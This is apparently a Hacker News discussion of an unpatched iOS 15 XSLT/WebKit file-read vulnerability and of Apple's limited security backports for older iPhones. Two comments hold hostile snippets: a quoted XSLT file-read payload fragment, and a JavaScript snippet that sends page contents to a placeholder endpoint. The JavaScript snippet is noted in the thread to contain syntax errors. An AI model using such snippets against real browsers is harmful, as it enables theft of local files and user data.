16 ms·
No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability
- flawn 3y ago[flagged]
- userbinator 3y agoWhen opening the page, your /etc/passwd is there for the world to see. ...more precisely, for you to see; this needs to be combined with something to send back data (JS?) to be truly exploited.
- NewsaHackO 3y agoYea, this reads like someone was denied a bounty for a "exploit" and decided to make it a whole thing as retribution.
- iraqmtpizza 3y agoYes, science as a public service as retribution
- Sporktacular 3y agoI don't see how. Apple is choosing to not patch known vulnerabilities on hardware sold new less than 3 years ago. Hardware they're happy to charge for repairs on.
- apapapa 3y ago[flagged]
- coldtea 3y agoAnd how's that more difficult than the loading page (exploit.svg) doing a GET/POST request to some server, after <xmp><xsl:copy-of select="document('exploit.php')"/></xmp> was loaded?
- userbinator 3y ago[flagged]
- userbinator 3y ago[flagged]
- mtlynch 3y agoIsn't the JS exfiltration part trivial? The attack assumes that the victim is visiting an attacker-controlled web server. If the attacker can put secret data in the DOM within the victim's browser, the attacker can also add JS on the same page that POSTs the DOM contents to the server once they're populated with secrets.
- userbinator 3y agoIf it's "trivial", then perhaps the article should've demonstrated that.
- tsimionescu 3y agoIf I prove I got a shell prompt on a remote device without any authentication, do I then need to show that I can execute arbitrary code? Or is it clearly implied? If the page body can read a file, then it can just execute an XmlHttpRequest to send that data to the origin server, which is the attacker in this scenario. This is just how the web works, nothing more to say about it, and no need to prove it.
- userbinator 3y agoIt's not necessarily true that what can be read locally can be sent to a remote server.
- tsimionescu 3y agoIt very much is on the web, if you are sending it to the origin server.
- fulafel 3y agoVulnerabilitity research without doing the work to productize exploits is good and productive, let's not normalize the opposite expectation. It's a chilling effect.
- userbinator 3y ago[flagged]
- mmsc 3y agoYes, obviously the website can retrieve this data too. <script> var olis=document.getElemeByTagName(‘p’); Data=olis[1].text content; xmlHttp2 = new XMLHttpRequest; xmlHttp2.open(‘GET’, ‘https://endpoint/?data=‘+data); xmlHttp2.send(); </script)
- userbinator 3y agoOnly took 7 hours to get something that looks like it might work but clearly has tons of syntax errors and won't work as-is. What are y'all trying to hide?
- chrismeller 3y agoThe iPhone 6S mentioned was released in 2015, but should run iOS 15, which Apple still should be releasing security updates for?
- garbagewoman 3y agoAs he clearly describes in the article, Apple seems to patch some exploits but not others in older versions of iOS.
- chrismeller 3y agoI understand that, I’m just saying that they claim it gets security updates, so it seems like the kind of thing they should include.
- jeroenhd 3y agoApple only publishes all iOS and macOS updates to the latest version of their operating systems. They release important updates to older operating systems (which is better than much of their competition!) but not all vulnerabilities are fixed for old versions. You'll probably always be safe from remote code execution on supported versions of iOS/macOS, but exploits like these aren't always fixed. Unfortunately, you can't install an alternative browser engine on iOS/iPadOS, so I guess you should expect all websites to be able to read all of your cookies just in case.
- gridder 3y agoThis is a 10 year old phone, released in 2014. Edit. I was wrong, 2015, sorry
- refulgentis 3y agoCorrect. The issue is it is not commonly known that Apple isn't actually backporting fixes for exploits while it has been claiming to update the phones: this is earth-shaking[^1] news [^1] It would be completely reasonable to say "Earth-shaking? Really? You expect security backports for a decade?" I've been in mobile my whole career, iOS for 7 years, starting from jailbreaking the original iPhone, then worked on Android itself for 7 years. I am sure significant decisions were made assuming this was the case.
- gridder 3y agoTouche. P.S. Keep in mind though, what is the state of security of the Android phone you bought new in November 2015?
- TheDong 3y agoThe Nexus 6 (2014) can still run a version of android with security patches: https://wiki.lineageos.org/devices/shamu/ https://wiki.lineageos.org/devices/shamu/ Google no longer offers security patches directly, but since you control the phone sufficiently to install your own OS, the community can come together and keep security updates flowing. You could do it yourself if you wanted. Apple devices make this sort of community maintainership effectively impossible. I know this means practically nothing since only nerds can actually install a third-party ROM, so for the general populace only the "default" security patch window matters, but for the hacker news crowd it seems like it might be a meaningful difference.
- fh9302 3y agoDoes that include updated drivers? If no, then there are still many unfixed security vulnerabilities.
- charcircuit 3y agoThis is true for pretty much every vendor. Security fixes do not all get backported to every previous version of something. Newer iPhone do not just run the latest version of iOS, but they are more secure from a hardware perspective too.
- Sporktacular 3y ago"every previous version" No reasonable person is asking for this.
- charcircuit 3y agoOkay replace that with "more than the latest version / LTS".
- eviks 3y agoHow is hardware relevant here?
- SirMaster 3y agoHow do we know they won’t patch it in like an iOS 15.8.1 update? Even iOS 12 had a security update in 2023 still.
- mrcarruthers 3y agoApple doesn't patch every security hole in older iOS versions. I don't know what the criteria is, but my guess is if it's a major security hole, or an easily backported one, they'll do it, but if it's super minor or not backportable, they won't.
- saagarjha 3y agoIf I had to guess, I think it’s when they see a report that it’s been actively exploited.
- Sporktacular 3y agoThe iPhone 8 was sold new less than 3 years ago. Okay, new features shouldn't be expected, but patching known vulnerabilities should be required.
- deleted 3y ago[deleted]
- sparselogic 3y agoWhat does the iPhone 8 have to do with this discussion? The linked piece specifically refers to iPhone 6S and iOS 15.8.
- 43920 3y agoIt runs iOS 16, where Apple has the same policy of only providing partial fixes. From the article: > A new exploit targeting the iOS (among other OS’) Bluetooth stack has also been left unpatched by Apple in all versions except iOS 17.
- mattl 3y agoiPhone 8 had a patch to iOS 16 released a week ago, 6 years after it was released and 3 years after it was last sold during a global pandemic?
- avarun 3y agoAnd the entire point of the article is that those security patches are ignoring known vulnerabilities that are patched by Apple in iOS 17.
- Sytten 3y agoThat is why I am an android dude, you will always find a random ROM on xda with the latest android security patch and sometimes even the latest android version on devices 10+ years old even if the manufacturer has stopped supporting it a while ago.
- appplication 3y agoNot going to lie, if I were trying to infect some devices, it might be through “porting” unofficial “patches” (that no one will ever realistically inspect) for 10+ year old, out-of-support devices whose users have allowed root access.
- Sytten 3y agoXDA works a lot on reputation and realistically you will infect like 1k phones none of which will be high value targets. I don't see the motivation. Those maintainers do quite a lot of work to backport patches every week/month and offer OTA. Also I dont enable root when flashing, that is not required at all.
- eli 3y agothink about it the other way: if someone who happens to use random ROM happens to be a target of a state security agency of course it would be trivial to infect and the other 999 users would be collateral damage.
- jojobas 3y agoIf state security agency is your model threat you'll be hard pressed to stay secure even with an airgap. If it's wholesale worm-like attacks you'll be way ahead of the curve by using a niche ROM from a god-forsaken site compared to any slightly out-of-date OEM distro.
- WWLink 3y agoRealistically, if someone makes a fringe rom that may be downloaded a few thousand times, how many people are going to bother checking for nefarious exploits hidden in there? I hate that I wrote that lol. It reeks of the kind of cybersecurity whataboutism that leads to people inconveniencing the SHIT out of themselves for the sake of security.
- MBCook 3y ago> After contacting Apple […] I’d be very curious to see HOW they contacted Apple. Depending on if you’re reaching out to security or just filing a standard radar I’d expect a very different answer. Also, was it reported to the WebKit team? If that is where the bug is, perhaps that’s who should be taking the report?
- 8n4vidtmkvmk 3y agoIt can make a big difference who reads the ticket. I might see something come in and think oh yeah that'll take me 5 min to fix and I'll just do it, but if someone else unknowledgeable about the feature sees it, or a PM... it might get closed as won't fix at best or just rot for 10 years.
- mmsc 3y agoOP here. It was reported to product-security@apple.com.
- xyst 3y agoThose Apple commercials purporting their ecosystem was the safest/secure have aged like old milk
- devaiops9001 3y agoWould be great to get Linux running on and driver coverage for all of the system-on-chip of these devices. Talent exists for this but they are busy with their jobs or more interesting problems.
- kaba0 3y agohttps://projectsandcastle.org/ https://projectsandcastle.org/ But don’t get too excited.
- conradev 3y ago/etc/passwd is the same on every device because it is in the system image, which is world readable. I don't think this exploit can be used to read the call history database as the author implies because it is outside of the sandbox profile.
- saagarjha 3y agoIt probably does let you grab cookies and browsing history from Chrome, though.
- midtake 3y ago> probably I wish the author included a full proof of concept
- twisteriffic 3y agoThey provided a complete exploit. It's only about 50 lines long. If you want to know if it works with other files it's pretty trivial to see for yourself.
- turquoisevar 3y agoYeah the author goes a bit far in their hypotheticals, straight into fantasy. Also not sure I agree with the implication that Apple shouldn’t publish which vulnerabilities they’ve patched (the only logical conclusion because the alternative, patching every version in perpetuity, is unrealistic).
- lewantmontreal 3y agoSome iOS 15 phones like the 5S/SE have no newer comparable phones which makes upgrading difficult. Oh dear, I suppose not browsing the web is another option.
- mattl 3y agoWhat’s missing from the more recent SE models?
- qball 3y agoSmall physical size, also a headphone jack. The more recent SE models are iPhone 8 bodies with upgraded internals (being an iPhone 11 and 13 inside, respectively) and Apple no longer offers a Mini version of their newer phones (not that the A16 and A17 are significant improvements on the A15, but still). And the Mini is still larger than the first SE by about a half inch in either direction; the 8 (and the newer phones) add another half inch on top of that. Of course, the problem with using a first-gen SE today is that because information density on mobile is abysmal, the added vertical space has been very welcome to app developers (who also might not test on the smallest screens). So while the smaller phones were ergonomically far superior to the larger ones, and this is to a point true for the Minis as well, that's since been "balanced" by inherently worse UI/UX on said phones.
- usui 3y agoA 4-inch screen size that allows the phone to be used single-handed with ease anywhere on the screen, which I’m using to write this comment right now. It’s uncompromising in battery longevity when considering its size, too. First-gen SE is the best phone Apple ever made. The newer SE are terrible.
- fouc 3y agoAs someone that went from 5S to 2016 SE to 2020 SE which is my current phone, I've been very satisfied with the 2020 SE. With each phone I have always taken steps to reduce battery usage, disabled background refresh, and manually turn on low power mode after charging every single time.
- mmsc 3y agoAlways a smile when I see my blog posted on hn:) To answer three questions: 1) this was not reported in the context of any bug bounty[0], and the total conversation between me and Apple is 4 emails (1: hello do you plan to fix this? 2: can you reproduce this on the newest ios17? 3: no. 4: if you are able to reproduce it on ios17 let us know) 2) exfiltration is obviously possible, I’m not sure why I would even need to specify that any page is able to read its own contents using JavaScript 3) the iPhone 6s and 15.8 are still seemingly supported by Apple. [0] and you won’t find me on any bug bounty websites except for where I try to get contact with humans, see https://joshua.hu/slack-is-broken-with-noscript https://joshua.hu/slack-is-broken-with-noscript
- denysvitali 3y agoGetting in touch with an human is generally "easy": getting in touch with an engineer isn't. It's sad that one has to open a bug bounty request to get an engineer to look into an issue like the one you described in your linked blog post.
- asabla 3y agoIt,'s always a fun and interesting read when your posts hit HN. How much time would you estimate goes into researching? And do you have any pointers for someone which want to dip their toes into this vast sea of exploration?
- mmsc 3y agoThis wasn't really my "finding" per-se (the original vulnerability was from June, after all), it was just something that came into my eyes and I thought it would be interesting to discuss the implications and some perceptions I have based on it. >And do you have any pointers for someone which want to dip their toes into this vast sea of exploration? Can you expand on what you mean by this exactly? I got into security by accident when I was a child and have never followed any type of routine when it comes to learning. Probably the only pointer that may help is: take something that you know and use often (some piece of software) and ask "what if?" or "why can't I or someone do X?" ¯\_(ツ)_/¯
- 3y ago
- Pathogen-David 3y agoI think a lot of people here are missing an important point here that Apple has always been fairly ambiguous about what their level of support is for older devices beyond major feature updates. If it weren't for a friend giving me his old iPhone XS as thanks for a favor, I'd probably still be using my old iPhone 6s--and I would not have worried about it from a security perspective purely because (as the article notes) Apple is still releasing security fixes for iOS 15. I'd feel differently if Apple had publicly stated that all iOS 15 security fixes from now on will be on a minimum effort basis only.
- K0nserv 3y agoApple, in my opinion, does a very good job of supporting old devices. Buying an iPhone and keeping it for 6 years is a great strategy and when amortising the cost of the phone over those 6 years, it's price competitive with Android. I do wish legislators forced Apple and Google to give users a path to install an alternative OS on their device. That would enable old iPhones(and Androids) to have their lifetime extended further.
- izacus 3y ago> I do wish legislators forced Apple and Google to give users a path to install an alternative OS on their device. All Google phones allow installation of alternative OSes (and are pretty much the only phones that allow resigning the boot loader so they're still secure - which is why they're chosen by projects like GrapheneOS). Why do you think they need to be forced into anything? You can buy a Pixel right now and run an alternative OS.
- K0nserv 3y agoYeah I know some devices already support this, the point of forcing it via legislation would be for those that don't. I think this is also the answer to "the app store question". It feels unfair to force Apple to change a core value proposition by forcing them to allow side loading, but in the spirit of "It's my device" it should be possible to install an OS that makes a different tradeoff e.g. Android
- zote 3y agoI interpret their comment as suggesting that Apple should adopt a similar approach, and that Google, as a platform owner, should mandate this requirement for licensing Android™ (not AOSP) to other OEMs (I've had several phones whose bootloader couldn't be unlocked), and for this to be a practice enshrined by law for any other such companies that could operate in a similar position.
- blacksoil 3y agoI think the biggest problem is in the alternative OS. Non-official OSes typically are unstable that I personally find not worth the time given phone is quite important piece of communication. As others have already mentioned, certain lines and brands, such as One Plus, Google Pixels, etc have unlockable bootloader so people are free to install custom OSes.
- tomaszsobota 3y agofwiw I tested this and the exploit doesn't work on iOS 16 which is the latest available for a 2017 iPhone X.
- daft_pink 3y agoI feel this is misleading as most iPhone users are totally aware that iPhone Models not running iOS 17 are not being actively updated. The list is widely published: https://support.apple.com/guide/iphone/models-compatible-with-ios-17-iphe3fa5df43/ios https://support.apple.com/guide/iphone/models-compatible-wit... Any model more than 5 years old (Xr and Xs) are essentially not being updated and not secure. So an iPhone 1, 3, 5, 6, 7, 8 and X are all not secure and most people who use the iPhone are totally aware of this. It's like writing an article that Windows 7 is insecure and Microsoft isn't patching it. This is essentially their policy in most cases.
- e40 3y agoAccording to the link Xs is supported.
- acer4666 3y agoThe parent comment says this - anything _older_ than XR or XS is no longer supported
- e40 3y ago> Any model more than 5 years old (Xr and Xs) are essentially not being updated and not secure. So an iPhone 1, 3, 5, 6, 7, 8 and X are all not secure and most people who use the iPhone are totally aware of this. That reads very much like X's are not supported. The 2nd sentence even says it explicitly.
- oynqr 3y agoThat was about the literal iPhone X (the letter X). The iPhone Xr and Xs (roman numeral 10) are still supported.
- lemoncucumber 3y agoIt’s made more confusing by the fact that the comment omits all the S models from the list of unsupported models (along with the iPhone 4 for some reason). So at a glance one could assume that the XS is lumped in with the X just like the 6S is lumped in with the 6.
- wadoodkhan 3y ago[flagged]
- 999900000999 3y agoI don't know what OP expects from such an old device. Apple goes above and beyond other manufacturers in terms of support. The phone is almost 10 years old, the only thing Apple should do is send out a push notification warning users their device is no longer supported.
- CivBase 3y agoMy laptop is older than that and I have no problem getting updates. Turns out tightly coupling hardware and software for general computing devices is not such a great idea for users or the environment.
- 999900000999 3y agoMicrosoft straight up disallows Windows 11 installation on plenty of PCs that could easily run it. Sure you can argue that it's "easy" to install Linux on it, but that's out of scope for the typical user.
- smoldesu 3y agoApple straight-up disallows MacOS updates on plenty of Macs that could easily update, too. I'd even argue they're worse than Microsoft about it; I heard about Opencore Legacy Patcher looooong before I knew people were modifying Windows 11 images to get a working install. > you can argue that it's "easy" to install Linux on it In my experience, the average Linux install wizard is less technically involved than the MacOS one. So yeah, maybe I would argue that.
- 999900000999 3y agoMost people don't even know how to install an OS. I wouldn't expect the typical person to be able to do it.
- smoldesu 3y agoMoot point. Both Microsoft and Apple expected the user to install their own OS in the past, and the world didn't explode because of it. If stuff like UEFI and bootloader unlocking was standard again, OS installation would be easy as plugging in a dongle and rebooting. Plus, you still haven't touched the central point; tightly coupled software and hardware creates more e-waste. What people do today doesn't matter if they're never presented a serious alternative; if ignorance was a basis for removing functionality there would be nothing left of the modern smartphone.
- luke-stanley 3y agoIt's worrying to me since it's often kids who get the hand-me-down phones. I don't think they are going to know how vulnerable their data is. Surely Apple could at least let a community compile latest security updates, if they don't wanna invest their many riches in it? People often can't afford newer phones, and their data is vulnerable.
- ijio2iii 3y agoMicrosoft still release security updates sometimes for 22 years old Windows XP.
- 6510 3y agoMoving the photos and videos to a hard rive is a pain usb is buggy, icloud is useless. Cheaper iphones have very little storage and there is no ssd slot either. It means, when the phone is full you have to buy a new one. If you want to update (assuming updates are available) you have to do hours of manual photo and video deletion to make space for the update. If they really wanted to update phones that are full they could move the images/video to their server until the update is done.
- Liebnitz 3y ago>Apple declined to comment for this article.